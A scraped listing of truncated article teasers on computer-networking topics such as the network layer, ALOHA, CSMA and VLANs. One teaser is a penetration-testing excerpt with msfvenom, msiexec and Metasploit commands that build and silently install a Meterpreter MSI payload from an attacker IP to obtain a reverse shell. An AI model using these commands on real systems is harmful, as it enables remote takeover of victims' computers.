Found 496 Articles for Computer Engineering

The network layer or layer 3 of the OSI (Open Systems Interconnection) model is concerned delivery of data packets from the source to the destination across multiple hops or links. It is the lowest layer that is concerned with end − to − end transmission. The designers who are concerned with designing this layer needs to cater to certain issues. These issues encompasses the services provided to the upper layers as well as internal design of the layer.The design issues can be elaborated under four heads −Store − and − Forward Packet SwitchingServices to Transport LayerProviding Connection Oriented ServiceProviding Connectionless ... Read More

The main function of the network layer or layer 3 of the OSI (Open Systems Interconnection) model is delivery of data packets from the source to the destination across multiple hops or links. It also controls the operation of the subnet.The functions are elaborated as below −When data is to be sent, the network layer accepts data from the transport layer above, divides and encapsulates it into packets and sends it to the data link layer. The reverse procedure is done during receiving data.The network layer is responsible for routing packets from the source host to the destination host. The ... Read More

The network layer or Layer 3 of the OSI (Open Systems Interconnection) model is responsible for the source to destination delivery of data packets across multiple hops or nodes. It controls the operation of the subnet.The position of the network layer in the OSI model is depicted in the following diagram −Functions of the Network LayerThe network layer is responsible for routing packets from the source host to the destination host. The routes can be based upon static tables that are rarely changed; or they can be automatically updated depending upon network conditions.Many networks are partitioned into sub-networks or subnets. ... Read More

Windows OS comes installed with a Windows Installer engine which is used by MSI packages for the installation of applications. The executable program that interprets packages and installs products is Msiexec.exe.Launch msiexec attack via msfvenomLet’s generate an MSI Package file (1.msi) utilizing the Windows Meterpreter payload as follows;msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f msi > 1.msiAt the target end, when the victim execute the 1.msi file on the remote machine with the following utiliy;msiexec /q /i http://192.168.1.109/1.msiThe attacker get the reverse shell of the victim machine by starting multi/handler as the listener.use exploit/multi/handlerset pyaload windows/meterpreter/reverse_tcpset lhost 192.168.1.109exploitRead More

ALOHA is a medium access control (MAC) protocol for transmission of data via ashared network channel. Using this protocol, several data streams originating from multiple nodes are transferred through a multi-point transmission channel. There are two types of ALOHA protocols – Pure ALOHA and Slotted ALOHA.Slotted ALOHA was introduced in 1972 by Robert as an improvement over pure ALOHA. Here, time is divided into discrete intervals called slots, corresponding to a frame.Working PrincipleThe communicating stations agree upon the slot boundaries. Any station can send only one frame at each slot. Also, the stations cannot transmit at any time whenever a ... Read More

ALOHA is a medium access control (MAC) protocol for transmission of data via a shared network channel. Using this protocol, several data streams originating from multiple nodes are transferred through a multi-point transmission channel. There are two types of ALOHA protocols – Pure ALOHA and Slotted ALOHA.In pure ALOHA, the time of transmission is continuous. Whenever a station has an available frame, it sends the frame. If there is collision and the frame is destroyed, the sender waits for a random amount of time before retransmitting it.Working PrincipleAfter transmitting a frame, a station waits for a finite period of time ... Read More

ALOHA is a multiple access protocol for transmission of data via a shared network channel. It operates in the medium access control sublayer (MAC sublayer) of the open systems interconnection (OSI) model. Using this protocol, several data streams originating from multiple nodes are transferred through a multi-point transmission channel.In ALOHA, each node or station transmits a frame without trying to detect whether the transmission channel is idle or busy. If the channel is idle, then the frames will be successfully transmitted. If two frames attempt to occupy the channel simultaneously, collision of frames will occur and the frames will be ... Read More

Multiple access protocols are a set of protocols operating in the Medium Access Control sublayer (MAC sublayer) of the Open Systems Interconnection (OSI) model. These protocols allow a number of nodes or users to access a shared network channel. Several data streams originating from several nodes are transferred through the multi-point transmission channel. The objectives of multiple access protocols are optimization of transmission time, minimization of collisions and avoidance of crosstalks. Categories of Multiple Access Protocols Multiple access protocols can be broadly classified into three categories - random access protocols, controlled access protocols and channelization protocols. ... Read More

Carrier Sense Multiple Access (CSMA) is a network protocol for carriertransmission that operates in the Medium Access Control (MAC) layer. It senses or listens whether the shared channel for transmission is busy or not, and transmits if the channel is not busy. Using CMSA protocols, more than one users or nodes send and receive data through a shared medium that may be a single cable or optical fiber connecting multiple nodes, or a portion of the wireless spectrum.Working PrincipleWhen a station has frames to transmit, it attempts to detect presence of the carrier signal from the other nodes connected to ... Read More

The IEEE 802.1Q networking standard lays down the specifications for VLANs (Virtual Local Area Networks or Virtual LANs) on an IEEE 802.3 Ethernet network. The standard is generally referred as Dot1Q. VLANs are a logical group of computers that appear to be on the same LAN irrespective of the configuration of the underlying physical network. Network administrators partition the networks to match the functional requirements of the VLANs so that each VLAN comprise of a subset of ports on a single or multiple switches or bridges. This allows computers and devices in a VLAN to communicate in the simulated environment ... Read More